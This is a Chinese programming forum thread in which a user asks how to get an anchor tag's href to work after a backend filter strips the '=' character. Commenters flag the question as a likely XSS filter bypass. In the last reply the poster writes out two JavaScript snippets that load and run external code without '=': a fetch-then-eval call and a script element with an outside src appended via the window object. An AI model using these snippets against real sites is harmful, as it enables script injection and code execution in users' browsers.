例:<a href="xyz"></a>
会过滤为<a href"xyz"></a>
。
不用 js 的情况下还有办法能让 href 正常生效吗?
1
Huyoumnonos 2022-02-15 16:01:24 +08:00 via Android
啥意思😳,没读懂
|
2
cyrbuzz OP |
3
gadfly3173 2022-02-15 17:11:40 +08:00 2
@cyrbuzz #2 你这是 AB 问题了吧 不如把完整的情况写出来。。。
|
4
shew2356 2022-02-15 17:20:19 +08:00
=号过滤了,又不用 js ,那没办法~
|
5
shew2356 2022-02-15 17:22:23 +08:00 1
@Huyoumnonos 楼主的意思是,可能用正则手段过滤了 html 中的 =,&,%等符号,然后想 a 链接正常生效,又不用 js 在过滤之后再渲染最佳~
|
6
vanton 2022-02-15 17:23:29 +08:00
禁用了 = 号?
不用 js 那就没啥可能了。 |
7
Zzm1203 2022-02-15 17:24:19 +08:00
你这个是怎么过滤的?正则替换吗?如果不用 js 好像没什么办法,并且您的表述确实不知道这到底是个什么,前提条件和最终效果都是什么样的,在什么样的一个执行机制下,还有为什么不能用 js 去做
|
8
yinjunjian0 2022-02-15 17:33:22 +08:00
过滤也是自己做的编译过滤的吧
设置范围过滤就好了 |
9
cyrbuzz OP @gadfly3173
@Zzm1203 @yinjunjian0 emmm...例子是完整情况。 我期望通过输入`<a href="123">123</a>`的方式让 a 标签生效,但现在我输入的`<a href="123">123</a>`会被后端过滤为`<a href"123">123</a>`,前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =,无法控制过滤规则。 不能用 JS 是一个限制条件。 @shew2356 完全就是这个意思~。 |
12
maplerecall 2022-02-15 18:18:02 +08:00
没办法。
如果你是开发者,这种不合理的过滤规则找后端改,因为即使能用 JS 处理也不合理,反而会导致容易被 XSS 。 如果你是使用者,也许自定义标签属性这种行为本身就属于不被允许的,有需求只能找服务提供方去改。 |
13
mxT52CRuqR6o5 2022-02-15 18:20:26 +08:00
不过滤百分之一万会有 xss 风险
href 里写"javascript:XXXX"就能执行任意 js 代码 |
14
Xusually 2022-02-15 18:21:37 +08:00 3
这在我看来是“OP 在想办法绕过过滤去做 XSS”的问题
|
16
cyrbuzz OP |
17
mxT52CRuqR6o5 2022-02-15 19:11:50 +08:00 via Android
@cyrbuzz 你不是恶意的,不代表其他人都不是恶意的啊,各种安全策略其实就是在防范可能出现的满怀恶意的人
|
18
jin5354 2022-02-15 20:24:36 +08:00
那你加个中间层,维护个 map 映射表,提交前自己把 =,% 这种符号替换成 __$0 ,__$1 之类的,获取时自己再替换回来。
|
19
learningman 2022-02-15 22:20:19 +08:00
ctf 刷题呢,盲猜有别的字符可以转成=号,sql 构造试试
|
21
cyrbuzz OP |
23
cyrbuzz OP |
24
lhstock 2022-02-16 14:49:15 +08:00
考虑下传输虚拟 DOM 对象( JSON )。然后前端转义为 xml
|
25
wednesdayco 2022-02-16 15:15:14 +08:00
@cyrbuzz 没有=号你也插入不了外部 js 啊
|
26
cyrbuzz OP @wednesdayco
可以的,我想到的有两种: 1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。 2. 设置了请求策略的话可以借用 window 对象,`Object.assign(window, { xss: [] })`,这样就得到了一个可以存放任意变量的`window.xss`对象,然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`,就插入外部 js 了。 |